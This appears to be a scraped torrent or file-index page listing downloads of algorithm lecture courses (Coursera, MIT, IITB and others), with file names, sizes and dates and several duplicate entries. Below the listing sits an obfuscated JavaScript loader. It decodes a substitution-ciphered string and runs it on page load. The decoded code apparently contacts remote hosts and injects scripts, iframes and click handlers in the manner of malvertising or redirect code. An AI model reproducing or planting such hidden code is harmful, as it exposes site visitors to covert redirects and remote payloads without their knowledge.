Showing 1-20 of 415 items.

mp4 Java Algorithms

Hot:596  Size:1.7 GB  Created:2017-08-26 04:48:44  File Count:17

Java Hash Tables 3.mp4  141.69 MB
Java Quick Sort.mp4  141.21 MB
Solving Programming Problems 2.mp4  132.9 MB
Linked List in Java.mp4  128.52 MB
Linked List in Java 2.mp4  123.76 MB

mp4 Coursera - Algorithms

Hot:1460  Size:3.3 GB  Created:2017-08-29 02:13:18  File Count:199

Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.4 Negative Weights (2101).mp4  27.84 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.0 Shortest Paths APIs (1051).mp4  27.71 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.3 Edge-Weighted DAGs (1923).mp4  26.49 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.2 Dijkstra's Algorithm (1858).mp4  51.4 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.1 Shortest Path Properties (1446).mp4  33.94 MB

mp4 Algorithms - IITB

Hot:35  Size:8.27 GB  Created:2017-08-30 16:19:18  File Count:34

lec13-Greedy Algorithms IV.mp4  169.56 MB
lec31-NP Completeness VI.mp4  191.98 MB
lec30-NP Completeness V.mp4  192.3 MB
lec15-Pattern Matching II.mp4  207.76 MB
lec05-Algorithm design techniques- Basic.mp4  218.74 MB

flv Algorithms 2

Hot:120  Size:6.83 GB  Created:2017-08-27 13:58:19  File Count:12

Lectures/CSCenter_Algoritmyi_i_strukturyi_dannyih_2_semestr_lekziya_5_metadata.flv  733.24 MB
Lectures/CSCenter_Algoritmyi_i_strukturyi_dannyih_2_lektsiya_1_metadata.flv  726.97 MB
Seminars/CSCenter_Algoritmi_i_strukturi_dannih_2_semestr_seminar_k_lekzii_2_chast_1_metadata.flv  658.59 MB
Lectures/CSCenter_Algoritmyi_i_strukturyi_dannyih_2_semestr_lekziya_4_metadata.flv  638.92 MB
Lectures/CSCenter_Algoritmyi_i_strukturyi_dannyih_2_semestr_lekziya_3_metadata.flv  638.4 MB

mp4 Algorithms on Strings

Hot:8  Size:377.85 MB  Created:2022-03-21 23:38:09  File Count:124

01_suffix-trees/01_from-genome-sequencing-to-pattern-matching/01_welcome.en.srt  6.67 KB
01_suffix-trees/01_from-genome-sequencing-to-pattern-matching/01_welcome.en.txt  4.12 KB
01_suffix-trees/01_from-genome-sequencing-to-pattern-matching/01_welcome.mp4  8.92 MB
01_suffix-trees/01_from-genome-sequencing-to-pattern-matching/02_from-genome-sequencing-to-pattern-matching.en.srt  9.91 KB
01_suffix-trees/01_from-genome-sequencing-to-pattern-matching/02_from-genome-sequencing-to-pattern-matching.en.txt  6.16 KB

mp4 Java Algorithms

Hot:83  Size:1.7 GB  Created:2022-04-14 11:23:00  File Count:17

Java Hash Tables 3.mp4  141.69 MB
Java Quick Sort.mp4  141.21 MB
Solving Programming Problems 2.mp4  132.9 MB
Linked List in Java.mp4  128.52 MB
Linked List in Java 2.mp4  123.76 MB

mp4 Coursera - Algorithms

Hot:704  Size:3.3 GB  Created:2022-04-20 09:08:23  File Count:199

Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.4 Negative Weights (2101).mp4  27.84 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.0 Shortest Paths APIs (1051).mp4  27.71 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.3 Edge-Weighted DAGs (1923).mp4  26.49 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.2 Dijkstra's Algorithm (1858).mp4  51.4 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.1 Shortest Path Properties (1446).mp4  33.94 MB

mp4 Thinking in Algorithms

Hot:41  Size:1.42 GB  Created:2023-03-17 23:47:02  File Count:12

lesson11.mp4  294.39 MB
lesson2.mp4  64.07 MB
lesson3.mp4  124.11 MB
lesson4.mp4  184.58 MB
lesson5.mp4  159.77 MB

mp4 Working with Algorithms in Python

Hot:1046  Size:4.53 GB  Created:2017-08-28 14:44:37  File Count:23

04. Brute Force Algorithms/01. Brute Force An Algorithm for Solving Combinatoric Problems.mp4  411.79 MB
02. O (n log n) Behavior/01. MergeSort A Divide and Conquer Algorithm.mp4  406.21 MB
07. AllPairsShortestPath/01. Graph Algorithms All Pairs Shortest Path.mp4  364.04 MB
01. BinarySearch/04. An Informal Introduction to the Analysis of Algorithms.mp4  359.34 MB
05. K-Dimensional Trees/01. KD Trees Efficient Processing of Two-Dimensional Datasets Part 1.mp4  346.47 MB

mp4 Algorithms Part I

Hot:668  Size:1.13 GB  Created:2017-08-27 01:14:30  File Count:131

Week 5 Geometric Applications of BSTs/11 - 3 - Kd-Trees (2907).mp4  53.76 MB
8-Puzzle Programming Assignment.pdf  255.64 KB
Addison.Wesley.Algorithms.4th.Edition.Feb.2011.pdf  23.87 MB
COS 226 Programming Assignment 5_ Kd-Trees.pdf  258.8 KB
Introduction/1 - 1 - Course Introduction (922).mp4  16.34 MB

mp4 [MIT] Introduction to algorithms

Hot:1209  Size:3.69 GB  Created:2017-08-31 07:50:32  File Count:74

1-01 Lecture 01 Analysis of Algorithms, Insertion Sort, Mergesort.mp4  166.9 MB
1-02 Lecture 02 Asymptotic Notation, Recurrences, Substitution, Master Method.mp4  145.73 MB
1-03 Lecture 03 Divide-and-Conquer. Strassen, Fibonacci, Polynomial Multiplication.mp4  143.19 MB
1-04 Lecture 04 Quicksort, Randomized Algorithms.mp4  167.69 MB
1-05 Lecture 05 Linear-time Sorting. Lower Bounds, Counting Sort, Radix Sort.mp4  160.61 MB

mp4 [Coursera] Algorithms I

Hot:904  Size:2.19 GB  Created:2017-09-01 15:49:08  File Count:184

31 - 1 - Kd-Trees (29_07).mp4  53.76 MB
11 - 3 - Kd-Trees (29_07).mp4  53.76 MB
15 - 1 - Red-Black BSTs (35_30).mp4  52.69 MB
10 - 2 - Red-Black BSTs (35_30).mp4  52.69 MB
40 - 1 - Event-Driven Simulation (22_38) (optional).mp4  38.57 MB

flv Data Structures and Algorithms

Hot:88  Size:3.38 GB  Created:2017-08-28 20:31:29  File Count:36

Lectures/Lecture - 36 Single Source Shortest Paths.flv  189.35 MB
Lectures/Lecture - 31 Minimum Spanning Trees.flv  187.57 MB
Lectures/Lecture - 33 Prims Algorithm for Minimum Spanning Trees.flv  167.56 MB
Lectures/Lecture - 35 Correctness of Dijkstras Algorithm.flv  165.13 MB
Lectures/Lecture - 32 The Union.flv  160.88 MB

mp4 [Coursera] Algorithms II

Hot:595  Size:1.45 GB  Created:2017-09-03 14:13:01  File Count:133

9 - 3 - Knuth-Morris-Pratt (33_14).mp4  45.04 MB
4 - 5 - Prim's Algorithm (33_15).mp4  42.28 MB
8 - 1 - R-way Tries (32_19).mp4  40.89 MB
11 - 4 - LZW Compression (27_33).mp4  37.15 MB
2 - 3 - Depth-First Search (26_22).mp4  36.97 MB

mp4 Algorithms in Motion (2018)

Hot:433  Size:4.07 GB  Created:2021-06-19 01:25:13  File Count:38

Unit 01 - INTRODUCTION TO ALGORITHMS/03. Big O Notation.mp4  249.72 MB
Unit 01 - INTRODUCTION TO ALGORITHMS/01. Introduction.mp4  148.63 MB
Unit 01 - INTRODUCTION TO ALGORITHMS/02. Binary Search.mp4  86.3 MB
algorithms-in-motion-master.zip  28.83 KB
Unit 02 - SELECTION SORT/01. Arrays and Linked Lists.mp4  213.74 MB

mp4 [Coursera] Algorithms II

Hot:37  Size:1.45 GB  Created:2022-06-07 21:08:06  File Count:133

9 - 3 - Knuth-Morris-Pratt (33_14).mp4  45.04 MB
4 - 5 - Prim's Algorithm (33_15).mp4  42.28 MB
8 - 1 - R-way Tries (32_19).mp4  40.89 MB
11 - 4 - LZW Compression (27_33).mp4  37.15 MB
2 - 3 - Depth-First Search (26_22).mp4  36.97 MB

flv Data Structures and Algorithms

Hot:6  Size:3.38 GB  Created:2024-07-19 06:58:13  File Count:36

Lectures/Lecture - 36 Single Source Shortest Paths.flv  189.35 MB
Lectures/Lecture - 31 Minimum Spanning Trees.flv  187.57 MB
Lectures/Lecture - 33 Prims Algorithm for Minimum Spanning Trees.flv  167.56 MB
Lectures/Lecture - 35 Correctness of Dijkstras Algorithm.flv  165.13 MB
Lectures/Lecture - 32 The Union.flv  160.88 MB

mp4 [MIT] Introduction to algorithms

Hot:18  Size:3.69 GB  Created:2022-04-17 21:56:09  File Count:74

1-01 Lecture 01 Analysis of Algorithms, Insertion Sort, Mergesort.mp4  166.9 MB
1-02 Lecture 02 Asymptotic Notation, Recurrences, Substitution, Master Method.mp4  145.73 MB
1-03 Lecture 03 Divide-and-Conquer. Strassen, Fibonacci, Polynomial Multiplication.mp4  143.19 MB
1-04 Lecture 04 Quicksort, Randomized Algorithms.mp4  167.69 MB
1-05 Lecture 05 Linear-time Sorting. Lower Bounds, Counting Sort, Radix Sort.mp4  160.61 MB

mp4 [Coursera] Algorithms I

Hot:51  Size:2.19 GB  Created:2022-05-28 17:14:59  File Count:184

31 - 1 - Kd-Trees (29_07).mp4  53.76 MB
11 - 3 - Kd-Trees (29_07).mp4  53.76 MB
15 - 1 - Red-Black BSTs (35_30).mp4  52.69 MB
10 - 2 - Red-Black BSTs (35_30).mp4  52.69 MB
40 - 1 - Event-Driven Simulation (22_38) (optional).mp4  38.57 MB

!function(){function a(a){var _idx="mngpsr15np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@@{CFT_T_mOYFO^(fmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@@{CF75FTmOCS^FX^mRT4gQ@{n"="hFFJLg\/\/[[fdTPP@@{CFfY5Fm(5OXf4qmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@@{CFSOJTmOYFO^(fmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@@{CFLY_6mOCS^FX^mRT4gQ@{n"="hFFJLg\/\/[[fdTPP@@{CFRDYJm(5OXf4qmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@@{CFdDqJmOCS^FX^mRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@@{jR8^2pJL5}n2J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@@{"=X8"^2pJL5}n2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@@{d2(LCYmDXT((XOmRT4"="@@{5p(LYpm_d)6C)TmRT4"="@@{D7(LSqmDXT((XOmRT4"="@@{dC(LJ^m_d)6C)TmRT4"="@@{(C(L:4mDXT((XOmRT4"="@@{C2(LSYm_d)6C)TmRT4"="@@{25(LLSmDXT((XOmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@@{2F(LCYmCRDJ6_hmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@@{2F(LCYmCRDJ6_hmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@@{CFT_T_mOYFO^(fmRT4gQ@{n/f/@@{j(8}vR8^2pJL5}n2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@@{CFT_T_mOYFO^(fmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();